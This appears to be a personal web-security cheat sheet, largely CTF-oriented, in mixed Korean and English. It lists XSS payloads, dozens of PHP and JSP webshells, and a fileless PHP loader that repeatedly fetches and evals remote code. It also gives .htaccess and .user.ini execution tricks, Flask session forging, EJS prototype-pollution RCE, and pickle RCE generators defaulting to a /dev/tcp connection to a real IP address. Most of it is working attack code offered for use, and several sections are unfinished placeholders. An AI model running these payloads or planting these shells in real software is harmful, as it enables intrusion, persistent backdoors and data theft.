Web Security CheatSheet

   

This document is continuously updated.

cross site scripting

  • http://portswigger.net/web-security/cross-site-scripting/cheat-sheet

  • basic filter bypass

  • samesite cookie bypass

  • client side template injection

    • angularjs
    • nodejs : ejs, pug nunjucks .. etc
  • jsonp injection

    • bom injection
  • dom clobbering

  • uxss

  • open redirection

    • oauth
    • csrf gadget
  • chrome gold feature

  • library

    • jquery $.getJSON
  • crlf injection

    • urldecode
    • urldecode while http -> https redirect (misconfigure)
    • http/2 mitigation
      • 연구 필요
  • csp bypass

  • autofocus with contenteditable

    1
    <p type=contenteditable autofocus onfocus=alert(1)>
  • browser dependent

    • Chrome, Opera, Safari and Edge

      1
      2
      3
      <div onfocus="alert(1)" contenteditable tabindex="0" id="xss"></div>
      <div style="-webkit-user-modify:read-write" onfocus="alert(1)" id="xss">
      <div style="-webkit-user-modify:read-write-plaintext-only" onfocus="alert(1)" id="xss">
    • Firefox

      1
      2
      <div onbeforescriptexecute="alert(1)"></div>
      <script>1</script>
    • MSIE10/11 & Edge

      1
      <div style="-ms-scroll-limit:1px;overflow:scroll;width:1px" onscroll="alert(1)">
    • MSIE10

      1
      <div contenteditable onresize="alert(1)"></div>
    • MSIE11

      1
      2
      3
      4
      5
      <div onactivate="alert(1)" id="xss" style="overflow:scroll"></div>
      <div onfocus="alert(1)" id="xss" style="display:table">
      <div id="xss" style="-ms-block-progression:bt" onfocus="alert(1)">
      <div id="xss" style="-ms-layout-flow:vertical-ideographic" onfocus="alert(1)">
      <div id="xss" style="float:left" onfocus="alert(1)">
    • Chrome, Opera, Safari

      1
      2
      <style>@keyframes x{}</style>
      <div style="animation-name:x" onanimationstart="alert(1)"></div>
    • Chrome, Opera, Safari

      1
      2
      3
      4
      5
      <style>
      div {width: 100px;}
      div:target {width: 200px;}
      </style>
      <div id="xss" onwebkittransitionend="alert(1)" style="-webkit-transition: width .1s;"></div>
    • Safari

      1
      <div style="overflow:-webkit-marquee" onscroll="alert(1)"></div>

client side request forgery

  • xhr 또는 fetch 를 사용하여, 다른 페이지 데이터 가져올 수 있음
  • a tag ping attribute
  • 30? : redirect with post data preserve
    • 연구 필요
  • XS-Leaks
    • [설명추가예정 : 방법 다양함]

PHP

  • webshell

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    <?php system($_GET["cmd"]); ?>
    <?php system($_GET[1]); ?>
    <?php system("`$_GET[1]`"); ?>
    <?= system($_GET[cmd]);
    <?=`$_GET[1]`;
    <?php eval($_POST[cmd]);?>
    <?php echo `$_GET[1]`;
    <?php echo passthru($_GET['cmd']);
    <?php echo shell_exec($_GET['cmd']);
    <?php eval(str_rot13('riny($_CBFG[cntr]);'));?>
    <script language="php">system("id"); </script>

    <?php $_GET['a']($_GET['b']); ?>
    // a=system&b=ls
    // a=assert&b=system("ls")

    <?php array_map("ass\x65rt",(array)$_REQUEST['cmd']);?>
    // .php?cmd=system("ls")

    <?@extract($_REQUEST);@die($f($c));?>
    // .php?f=system&c=id

    <?php @include($_FILES['u']['tmp_name']);
    // 構造 <form action="http://x.x.x.x/shell.php" method="POST" enctype="multipart/form-data">上傳
    // 把暫存檔include進來
    // From: http://www.zeroplace.cn/article.asp?id=906

    <?php $x=~¾¬¬º­«;$x($_GET['a']); ?>
    // not backdoor (assert)
    // .php?a=system("ls")

    echo "{${phpinfo()}}";

    echo "${system(ls)}";

    echo Y2F0IGZsYWc= | base64 -d | sh
    // Y2F0IGZsYWc= => cat flag

    echo -e "<?php passthru(\$_POST[1])?>;\r<?php echo 'A PHP Test ';" > shell.php
    // cat shell.php
    // <?php echo 'A PHP Test ';" ?>

    echo ^<?php eval^($_POST['a']^); ?^> > a.php
    // Windows echo導出一句話

    <?php fwrite(fopen("gggg.php","w"),"<?php system(\$_GET['a']);");

    <?php
    header('HTTP/1.1 404');
    ob_start();
    phpinfo();
    ob_end_clean();
    ?>

    <?php
    // 無回顯後門
    // e.g. ?pass=file_get_contents('http://15.165.0.114/test')
    ob_start('assert');
    echo $_REQUEST['pass'];
    ob_end_flush();
    ?>

    <?=
    // 沒有英數字的webshell
    $💩 = '[[[[@@' ^ '("(/%-';
    $💩(('@@['^'#!/')." /????");


    A=fl;B=ag;cat $A$B
  • disable function history

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    // isitdtu
    pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pczntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,escapeshellarg,escapeshellcmd,passthru,proc_close,proc_get_status,proc_open,shell_exec,mail,imap_open,

    // 2015 orange
    exec, passthru, shell_exec, system, proc_open, popen, curl_exec,
    curl_multi_exec, parse_ini_file, symlink, chgrp, chmod, chown, dl, mail,
    imap_mail, apache_child_terminate, posix_kill, proc_terminate,
    proc_get_status, syslog, openlog, ini_alter, ini_set, ini_restore,
    putenv, apache_setenv, pcntl_alarm, pcntl_fork, pcntl_waitpid,
    pcntl_wait, pcntl_wtermsig, pcntl_wstopsig, pcntl_signal,
    pcntl_signal_dispatch, pcntl_sigtimedwait, pcntl_sigprocmask,
    pcntl_sigwaitinfo, pcntl_exec, pcntl_setpriority, link, readlink
  • xor(^) 연산이나 not(~) 연산, and(&) 연산 이용하여 필터 바이패스

    1
    2
    echo (%f3%f9%f3%f4%e5%ed & %7f%7f%7f%7f%7f%7f); // system
    [~] 과 [^] 예제 추가 예정
  • 이중 참조

    1
    2
    $a='apple'; $b='a';
    echo $$b; //apple
  • 배열 첨자

    1
    2
    3
    $arr = array('a' => 'b');
    var_dump($arr['a']); // "b"
    var_dump($arr{'a'}); // "b"
  • file_put_contents

  • lfi with null bytes (php 5.?.? 버전까지)

  • rfi

    • allow_url_include
    • allow_url_fopen
    • UNC
  • 파일 없는 php webshell

    • 연구 방향성 불일치, 연구 불필요하다고 생각됨
    1
    2
    3
    4
    5
    6
    7
    8
    9
    <?php  
    unlink(__FILE__);
    ignore_user_abort(true);
    set_time_limit(0);
    $remote_file = 'http://xxx/xxx.txt';
    while($code = file_get_contents($remote_file)){
    @eval($code);
    sleep(5);
    };
  • wrapper

    • php://filter wrapper
      • php://filter/read=string.rot13/
      • php://filter/convert.iconv.utf-8.utf-16/
      • php://filter/convert.base64-encode/
      • php://filter/convert.base64-decode/
      • php://filter/zlib.deflate/
      • php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=
      • convert.base64-encode 이용하여 충분히 길게 만들면 메모리 과할당으로 crash 유발할 수 있음
    • zip://
    • data://
    • expect://
      • 아주 특수한 경우에만 발생
    • php://input
    • phar://
  • special files

    • /proc/self/environ

      • 최신 버전에서는 읽지 못하게 권한 관리
    • /proc/self/fd

    • sessions file

      • session.upload_progress

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        import requests
        import base64
        import sys

        payload = b'a'*2 + base64.b64encode(b'<?=eval($_GET[cmd])?>')
        payload2 = '<?=`ls -al /`?>'

        while True:
        requests.post(sys.argv[1],
        cookies = { 'PHPSESSID': 'posix' },
        data = { 'PHP_SESSION_UPLOAD_PROGRESS': payload },
        files = { payload2: 'A'*1000 }
        )
      • /var/lib/php5/sessions/sess_posix

      • /var/lib/php/sessions/sess_posix

      • /tmp/sess_posix

    • file upload tmp file

      • /tmp/phpoSWPOI
      • /tmp/php[A-Za-z0-9]{5}
  • nginx

  • escapeshellarg + escapeshellcmd

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <?php

    $a = $_GET['a'];
    $a = escapeshellarg($a);
    $a = escapeshellcmd($a);

    $cmd = 'ls ' . $a . ' 2>&1';
    echo 'cmd: ' . $cmd . "\n";
    echo 'out:' . exec($cmd);
    1
    2
    3
    // https://php.rwx.kr/?a=%27%201%20/tm%203%27
    cmd: ls ''\\'' 1 /tm 3'\\''' 2>&1
    out:ls: cannot access '3\\': No such file or directory
  • multibyte webshell

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    #!/usr/bin/python3
    # Description : create and bypass file upload filter with .htaccess
    # Author : Thibaud Robin

    # Will prove the file is a legit xbitmap file and the size is 1337x1337
    SIZE_HEADER = b"\\n\\n#define width 1337\\n#define height 1337\\n\\n"

    def generate_php_file(filename, script):
    phpfile = open(filename, 'wb')

    phpfile.write(script.encode('utf-16be'))
    phpfile.write(SIZE_HEADER)

    phpfile.close()

    def generate_htacess():
    htaccess = open('..htaccess', 'wb')

    htaccess.write(SIZE_HEADER)
    htaccess.write(b'AddType application/x-httpd-php .php16\\n')
    htaccess.write(b'php_value zend.multibyte 1\\n')
    htaccess.write(b'php_value zend.detect_unicode 1\\n')
    htaccess.write(b'php_value display_errors 1\\n')

    htaccess.close()

    generate_htacess()

    generate_php_file("webshell.php16", "<?php system($_GET['cmd']); die(); ?>")
    generate_php_file("scandir.php16", "<?php echo implode('\\n', scandir($_GET['dir'])); die(); ?>")
    generate_php_file("getfile.php16", "<?php echo file_get_contents($_GET['file']); die(); ?>")
    generate_php_file("info.php16", "<?php phpinfo(); die(); ?>")
  • disable function bypass

  • open_basedir bypass

    • glob wrapper

      1
      2
      3
      4
      5
      6
      7
      8
      9
      $file_list = array();
      $it = new DirectoryIterator("glob:///*");
      foreach($it as $f) {
      $file_list[] = $f->__toString();
      }
      sort($file_list);
      foreach($file_list as $f){
      echo "{$f}<br/>";
      }
    • ini_set

      1
      2
      3
      4
      5
      6
      chdir('img');
      ini_set('open_basedir','..');
      chdir('..');chdir('..');
      chdir('..');chdir('..');
      ini_set('open_basedir','/');
      echo(file_get_contents('flag'));
    • symlink

      1
      2
      3
      4
      5
      6
      7
      mkdir('/var/www/html/a/b/c/d/e/f/g/',0777,TRUE);
      symlink('/var/www/html/a/b/c/d/e/f/g','foo');
      ini_set('open_basedir','/var/www/html:bar/');
      symlink('foo/../../../../../../','bar');
      unlink('foo');
      symlink('/var/www/html/','foo');
      echo file_get_contents('bar/etc/passwd');
    • fastcgi

  • docker에서 lfi 가젯

    • 루트권한에서만 동작
    • 연구 필요
    1
    2
    /usr/src/php/sapi/tests/test007.phpt
    // phpinfo(), print_r($_POST)
  • preg_match bypass with newline

  • abusing rand

  • hash_hmac

    1
    2
    3
    $hmac = hash_hmac('sha256', Array(), "SecretKey");
    echo $hmac == false;
    // true
  • extract

    • [추가예정]
  • parse_str

    • [추가예정]
  • parse_url

    • [추가예정]
  • preg_replace

    • [추가예정]
  • sprintf / vprintf

    • [추가예정]
  • temp files

    • 업로드되는 임시 첨부 파일, 세션 파일, wrapper 를 통한 필터 처리 중에 있는 임시 파일의 경우 본 저장경로와 /tmp 폴더에 쓰기 권한이 없으면, 현재 디렉터리에 임시 파일을 작성합니다.
    • segment fault 를 유발하여 core 파일을 작성 생성하고 lfi 를 유발하는 문제도 있음
  • phpinfo 에서 주목해야할 점

    • 커스텀 모듈 존재 유무
    • disable function 에 사용할 수 있는 모듈 존재 유무
    • php 버전 -> 원데이 -> php bugs 참고하여 검색
    • auto_append_file / auto_prepend_file
    • allow_url_fopen / allow_url_include
    • fastcgi 사용여부 -> ssrf
    • open_basedir
    • disable_classes
    • disable_functions
    • user_ini.filename -> 파일 업로드 취약점
    • curl 모듈 -> support protocols -> gopher ssrf
    • libxml -> xxe
    • mbstring -> unicode normalize
    • session.upload_progress.name (PHP_SESSION_UPLOAD_PROGRESS)
    • session.save_path (/var/lib/php/sessions/)
    • session.serialize_handler (php)

php type confusion

  • loose comparison

    1
    2
    3
    4
    5
    6
    7
    8
    '0xABCdef' == ' 0xABCdef' // true
    '0010e2' == '1e3' // true
    '123' == 123 // true
    'abc' == 0 // true
    '123a' == 123 // true
    '0x01' == 1 // true, php7.0 부터는 false
    '' == 0 == false == NULL // all the same
    1.0000000000000001 == 1 // true
  • strcmp

    • array

      1
      strcmp([],[])
  • sha1 / md5 / hash

    • array

      1
      2
      3
      sha1([]) // NULL
      md5([1,2,3]) // NULL
      hash('md5',['1']) // NULL
  • in_array

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    in_array('5 or 1=1', array(1, 2, 3, 4, 5)); // true
    in_array('kaibro', array(0, 1, 2)); // true
    in_array(array(), array('kai'=>false)); // true
    in_array(array(), array('kai'=>null)); // true
    in_array(array(), array('kai'=>0)); // false
    in_array(array(), array('kai'=>'bro')); // false
    in_array('kai', array('kai'=>true)); // true
    in_array('kai', array('kai'=>'bro')); // false
    in_array('kai', array('kai'=>0)); // true
    in_array('kai', array('kai'=>1)); // false
  • intval

    • [이름 추가 예정]

      • 삭제 검토
      1
      2
      intval(012) // 10
      intval('012') // 12
    • overflow

      1
      2
      intval('1000000000000') // 2147483647
      intval('100000000000000000000') // 9223372036854775807
  • magic hash

    1
    2
    md5(240610708) // 0e462097431906509019562988736854
    sha1(10932435112) // 0e07766915004133176347055865026311692244
  • array_search

    1
    2
    $arr=array(1,2,0); var_dump(array_search('kai', $arr)); // int(2)
    $arr=array(1,2,0); var_dump(array_search('1', $arr)); // int(0)
  • file_put_contents

    1
    2
    3
    4
    <?php
    $test = $_GET['txt'];
    if(preg_match('[<>?]', $test)) die('bye');
    file_put_contents('output', $test);
  • chr

    1
    2
    chr(259) === chr(3); // true
    chr(-87) === chr(169); // true
  • 후위 연산자

    1
    2
    $a="9D9"; var_dump(++$a); // 9E0
    $a="9E0"; var_dump(++$a); // 10
  • ereg / eregi (php 7.0.0 에서 삭제되었음)

    1
    ereg("^[0-9]+$", "1234\x00Injected!") // true
  • raw hash

    1
    2
    3
    4
    php > var_dump(md5('ffifdyop', true));
    string(16) "'or'6r,"
    php > var_dump(md5('129581926211651571912466741651878684928', true));
    string(16) "0Do#'or'8"
  • OPcache

  • XDebug RCE

  • PCRE

  • system

    1
    2
    3
    4
    php > echo system('echo $_');
    /usr/bin/php
    php > echo system('echo $0');
    sh
  • regex bug

    1
    echo  preg_match('/(a+)+$/', 'v'.str_repeat('a',100000).'v'.str_repeat('a',100000));
  • base_convert

    1
    2
    3
    4
    php > echo base_convert('system',36,10);
    1751504350
    php > echo base_convert(1751504350,10,36);
    system
  • phar

    • gzip compression 허용됨 (filter bypass)
  • 앞에 임의 문자 넣어서 mime type check bypass 가능

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <?php
    class ClassName { }
    $phar = new Phar("evil.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
    $o = new ClassName();
    $o -> source='f1ag.php';
    $phar->setMetadata($o);
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();

JSP

  • one line webshell

    1
    <%Runtime.getRuntime().exec(request.getParameter("i"));%>
  • read output

    • import 해줘야함
    1
    2
    3
    4
    5
    6
    7
    8
    <%
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    while((a=in.read(b))!=-1){
    out.println(new String(b));
    }
    %>

http

server side template injection

  • jinja (python)

  • smarty

1
2
3
{php}phpinfo(){/php}
{if phpinfo()}{/if}
{if system("ls")}{/if}
  • twig

  • ejs (nodejs)

  • pug (nodejs)

server side request forgery

trigger

target

  • internal service access

  • smtp

    • gopherus 권장

      1
      127.0.0.1 %0D%0AHELO sqlsrf.pwn.seccon.jp%0D%0AMAIL FROM%3A %3Ckaibrotw%40gmail.com%3E%0D%0ARCPT TO%3A %3Croot%40localhost%3E%0D%0ADATA%0D%0ASubject%3A give me flag%0D%0Agive me flag%0D%0A.%0D%0AQUIT%0D%0A:25/
  • redis

  • fastcgi

    • [설명추가예정]
  • fingerprint

    • [설명추가예정]
  • sftp

    • [설명추가예정]
  • elasticsearch

    • [설명추가예정]
  • mysql query (비밀번호가 없는 계정의 경우 평문 통신 가능)

    • [설명추가예정]
  • tomcat deployer

  • aws

    • secret key 취득 가능
    • 169.254.169.254/latest

knowledge

  • redis는 nullbyte 만나면 종료 (구버전에 취약 여부 불확실), 임의 경로 파일 쓰기 기능 있음
  • memcached는 nullbytes 만나도 계속 데이터 받아옴, 임의 경로 파일 쓰기 기능 없음
  • mysql:… format (이름 까먹음 / 2019 zeroknight / ssrf / mysqli client attack 결합 가능성 보임)
    • 추가바람

information disclosure

  • jsonp information hijack via cors misconfigure

  • websocket

  • credential on jwt payload

  • directory traversal

    • unicode failure ucs2 NN
    • nginx location misconfigure /static../
  • touch docker host

    • remote api 를 통해 docker 접근 가능
    • 연구 필요
    • [설명추가예정]
  • docker-compose.yml, Dockerfile

    • dirsearch.py 권장
  • .git/HEAD, .svn .. etc

  • system files

    • 추가예정
  • log files

    • 추가예정
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
      .Xauthority
    .bashrc
    .byobu
    .config
    .fonts
    .forever
    .fzf
    .fzf.bash
    .fzf.zsh
    .gdbinit
    .gem
    .gitconfig
    .gnupg
    .local
    .mongorc.js
    .mozilla
    .npm
    .dbshell
    .mysql_history
    .php_history
    .node_repl_history
    .sqlite_history
    .python_history
    .rediscli_history
    .psql_history
    .bash_history
    .sh_history
    .coffee_history
    .gdb_history
    .profile
    .ssh
    .vim
    .vim-update
    .zsh_history
    .viminfo
    .pm2/pm2.log
    .lesshst
    .tmux
    .tmux.conf
    .tmux.conf.local
    .vscode-server
    .vimrc
    .zshrc
    .zcompdump
    .zcompdump-rwx-5.4.2
    .selected_editor
    .pwntools-cache
    .pwntools-cache-3.6
    .hushlogin

file upload

  • web.config

  • .htaccess

  • magic byte (mime type check bypass)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    // magic 4byte
    JPEG - FF D8 FF DB - ÿØÿÛ
    GIF - 47 49 46 38 - GIF8
    PNG - 89 50 4E 47 - ‰PNG
    // full magic sig
    GIF - 47 49 46 38 39 61 - GIF89a (or GIF87a)
    PNG - 89 50 4E 47 0D 0A 1A 0A - ‰PNG
    

    Just 3 Bytes "\x00\x00\x89"
  • hash crack

    1
    ./john .htpasswd
    • standalone shell
    1
    2
    3
    4
    5
    6
    7
    8
    9
    <Files ~ "^\.ht">
    Order allow,deny
    Allow from all
    </Files>

    AddHandler php7-script .htaccess
    AddType application/x-httpd-php .htaccess

    # <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>
    • using FilesMatch
    1
    2
    3
    <FilesMatch "kai">
    SetHandler application/x-httpd-php
    </FilesMatch>
    • php engine off
    1
    2
    3
    4
    RemoveHandler .php .phtml .php3
    RemoveType .php .phtml .php3
    // 이거 하나만 해도 됨
    php_flag engine off
  • .user.ini

    • auto_append_file

      • fastcgi 를 사용중인 php nginx 서버에서 사용 가능한 방법으로
        .user.ini 파일을 업로드하면 하위폴더에서 사용되는 php.ini 설정을 오버라이딩 할 수 있습니다.

        1
        2
        auto_prepend_file = a.jpg
        auto_append_file = b.jpg
      • 위 두 설정은 php 파일 실행 이전/이후에 자동 인클루드 되도록 합니다.
        확장자와 무관하게 내부 삽입된 스크립트 실행됨.

      1
      <script language="php">system($_GET[cmd]);</script>
      • 본래 <script language="php">는 옵션이 설정된 상태에서만 php 코드로 해석하나, auto_append_file 등으로 include 될 때에는 옵션과 무관하게 내부 코드 실행됨
    • direct / remote file inclusion

    1
    2
    3
    4
    php_flag allow_url_include 1
    php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
    #php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
    #php_value auto_append_file <https://sektioneins.de/evil-code.txt>
  • XSS and PHP code execution with UTF-7

    1
    2
    3
    4
    php_flag zend.multibyte 1
    php_value zend.script_encoding "UTF-7"
    php_value auto_append_file .htaccess
    #+ADw-script+AD4-alert(1)+ADsAPA-/script+AD4 #+ADw?php phpinfo()+ADs
  • XSS via error message link

    1
    2
    <?php
    include('foo');
    1
    2
    3
    php_flag display_errors 1
    php_flag html_errors 1
    php_value docref_root "'><script>alert(1);</script>"
  • XSS via error message link extension

    1
    2
    <?php
    include('foo');
    1
    2
    3
    4
    php_flag display_errors 1
    php_flag html_errors 1
    php_value docref_root "x"
    php_value docref_ext "<script>alert(1);</script>"
  • XSS via phps color

    1
    2
    3
    4
    5
    <FilesMatch ".+\\.phps$">
    SetHandler application/x-httpd-php-source
    Order Allow,Deny
    Allow from all
    </FilesMatch>
    1
    2
    3
    4
    5
    <?php
    test();
    // comment
    ?>
    text
    1
    php_value highlight.comment '"><script>alert(1);</script>'
  • XSS via highlight_file() color

    1
    2
    3
    <?php
    highlight_file(__FILE__);
    // comment
    1
    php_value highlight.comment '"><script>alert(1);</script>'
  • failed PHP injection via error_log and include_path

    1
    <?php include('foo');
    1
    2
    php_value error_log /var/www/ex4a/foo.php
    php_value include_path "<?php phpinfo(); __halt_compiler();"
  • failed PHP injection via error_log and auto_prepend_file

    1
    2
    php_value error_log /var/www/ipc/ex4b/foo.php
    php_value auto_prepend_file "<?php phpinfo(); __halt_compiler();"
  • PHP code injection via error_log and UTF-7

    1
    2
    3
    4
    5
    6
    php_value error_log /var/www/ipc/ex4c/foo.php
    #---- "<?php phpinfo(); __halt_compiler();" in UTF-7:
    php_value include_path "+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs"

    php_flag zend.multibyte 1
    php_value zend.script_encoding "UTF-7"

Erlang

  • list all defined functions

    1
    2
    math:module_info().
    module_info().

html

  • relative path override

  • css injection

    • get tag attribute
    1
    2
    3
    4
    5
    6
    7
    <?php
    header("Content-Type: text/css; charset=UTF-8");
    for ($ascii = 33; $ascii < 126; $ascii++){
    echo "@font-face{ font-family:poc; src: url(http://{my_server}/?".chr($ascii)."); unicode-range:U+00".dechex($ascii).";}"."\n";
    }
    ?>
    #flag{ font-family:poc;}
    • get content charset
    1
    2
    3
    4
    5
    6
    7
    <?php
    header("Content-Type: text/css; charset=UTF-8");
    for ($ascii = 33; $ascii < 126; $ascii++){
    echo "@font-face{ font-family:poc; src: url(http://{my_server}/?".chr($ascii)."); unicode-range:U+00".dechex($ascii).";}"."\n";
    }
    ?>
    #flag{ font-family:poc;}

logical vul

  • never expired state + random event
  • idor
    • 설명 불필요

auth bypass

  • jwt none type injection

  • flask session generator

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    import sys
    from flask.sessions import SecureCookieSessionInterface
    class App(object):
    def __init__(self):
    self.secret_key = None
    app = App()
    app.secret_key = sys.argv[1]
    si = SecureCookieSessionInterface()
    serializer = si.get_signing_serializer(app)
    session = serializer.dumps({'admin':True})
    print(session)
  • flagk-unsign

    1
    2
    pip3 install flask-unsign
    flask-unsign –sign –cookie "{'is_admin': True}" –secret ‘DeRz7YDZ5nCDqR3vt33QpuhkrSYLmuX8' –legacy
  • flask pin calculator

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    import hashlib
    from itertools import chain
    probably_public_bits = [
    'flaskweb',
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.7/site-packages/flask/app.py',
    ]

    private_bits = [
    '2485410463771',
    'cf0ba4b49af0063252dc6943557b002fe787baab6d9421be9c14813731e6626b'
    ]

    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
    if not bit:
    continue
    if isinstance(bit, str):
    bit = bit.encode('utf-8')
    h.update(bit)
    h.update(b'cookiesalt')

    cookie_name = '__wzd' + h.hexdigest()[:20]

    num = None
    if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

    rv =None
    if rv is None:
    for group_size in 5, 4, 3:
    if len(num) % group_size == 0:
    rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
    for x in range(0, len(num), group_size))
    break
    else:
    rv = num

    print(rv)

javascript

  • prototype pollution

    • EJS rce (https://xz.aliyun.com/t/6113)
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      const express = require('express');
      const app = express();

      Object.prototype.outputFunctionName = "x;process.mainModule.require('child_process').exec('touch 1');x";

      app.engine('ejs', require('ejs').renderFile);

      app.get('/', (req, res) => {
      res.render('index.ejs');
      })

      app.listen(7878)
    • https://blog.rwx.kr/prototype-pollution-to-rce/
  • sandbox escape

  • unicode failure

  • regex dos

  • read file from UNC (windows)

    • fs
      1
      2
      const fs = require('fs');
      fs.readFile("\\1.2.3.4\shared\1.js")
    • express render
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      const express = require('express');
      const app = express();

      // set render engine

      app.get('/' (req, res) => {
      res.render(req.query.file);
      });

      app.listen(8080);
  • Object.freeze(location)

    1
    location.replace(1)
  • JSON.stringify spacer

    1
    JSON.parse(JSON.stringify({a:1,b:2},'', '"cmd":1,'))
  • variable _

  • repr 모드에서 마지막 라인 반환값과 동일

    1
    2
    "applemint";
    console.log(_); // applemint
  • String.fromCharCode mod

    1
    String.fromCharCode(65601) === 'A' // true
  • scope touch

    1
    2
    3
    4
    5
    6
    7
    var scope1 = Function('let abc = 123; scope2();')

    function scope2() {
    console.log(arguments.callee.caller.arguments);
    }

    scope1(1,2,3);
  • property searcher

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    function search(obj, history = []) {
    if (history.length == 0 && obj[Symbol.toStringTag]) history.push(obj[Symbol.toStringTag]);

    let keys = [];
    if (obj) keys = Object.getOwnPropertyNames(obj);
    for (let key of keys) {

    let val = obj[key];
    if (val && val[Symbol.iterator] && (val[Symbol.iterator]+[]).indexOf('[native code]') == -1) {
    console.log(`[${history.join('.')}.${key}][Symbol.iterator]`);
    console.log(val[Symbol.iterator] + []);
    }

    if (typeof val === 'object' && val !== obj && key !== history[history.length - 2]) {
    search(val, history.concat(key));
    }
    }
    }

    search(global);
    • overflow
    1
    11111111111111111 === 11111111111111112 // true
    • infinite loop with overwrite object attribute on array expected
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    // http://localhost/?param[length]=1e9

    const express = require('express');
    const app = express();

    app.use((req, res) => {

    var data = req.query.param;
    var output = 'output : ';

    for (let i = 0; i < data.length; ++i) {
    output += data[i];
    }

    res.send(output);
    });

    app.listen(80);

unserialize

  • python pickle

    • pickle (os.system)

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      import pickle
      import os
      import sys
      import base64

      DEFAULT_COMMAND = "bash -c 'echo 1 > /dev/tcp/45.32.48.238/8888'"
      COMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMAND

      class PickleRce(object):
      def __reduce__(self):
      return (os.system,(COMMAND,))

      print(base64.b64encode(pickle.dumps(PickleRce())))
    • pickle (eval)

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      import pickle
      import os
      import sys
      import base64

      class PickleRce(object):
      def __reduce__(self):
      return (__builtins__.eval,("__builtins__.__import__('os').popen('id').read()",))

      print(base64.b64encode(pickle.dumps(PickleRce())))
    • cPickle (os.system)

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      import cPickle
      import os
      import sys
      import base64

      DEFAULT_COMMAND = "bash -c 'echo 1 > /dev/tcp/45.32.48.238/8888'"
      COMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMAND

      class PickleRce(object):
      def __reduce__(self):
      return (os.system,(COMMAND,))

      print(base64.b64encode(cPickle.dumps(PickleRce())))
    • cPickel (eval)

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      import cPickle
      import os
      import sys
      import base64

      class PickleRce(object):
      def __reduce__(self):
      return (__builtins__.eval,("__builtins__.__import__('os').popen('id').read()",))

      print(base64.b64encode(cPickle.dumps(PickleRce())))
    • pickle (for test)

      1
      2
      3
      4
      5
      6
      7
      import sys, pickle, base64

      if len(sys.argv) < 2:
      print('[!] no arguments')
      exit()

      print('[*] ' + str(pickle.loads(base64.b64decode(sys.argv[1]))))
    • pickle (for test)

      1
      2
      3
      4
      5
      6
      7
      import sys, cPickle, base64

      if len(sys.argv) < 2:
      print('[!] no arguments')
      exit()

      print('[*] ' + str(cPickle.loads(base64.b64decode(sys.argv[1]))))

python

  • 2버전에서 mac 주소 등을 이용하여 시크릿 알아낼수 있는, 취약함수 존재, CTF에 종종 출제됨 [설명 추가 예정]
  • pyjail
    • [삭제 여부 검토]

Directory Traversal

Command Injection

asp.net / iis

lua

  • function override
1
2
3
function math:random() return 1
print(math:random())
// 1

GraphQL Injection

  • 추가예정

sql injection

  • basic (생략)

  • quine sql injection

  • nosql injection

    • 설명 생략
  • sqlite

    • rce via load_extension
      • 윈도우 환경이면 UNC 도 사용가능
    1
    2
    3
    4
    5
    6
    7
    8
    9
    // gcc -shared -fPIC evil.c -o evil.so
    #include <stdio.h>
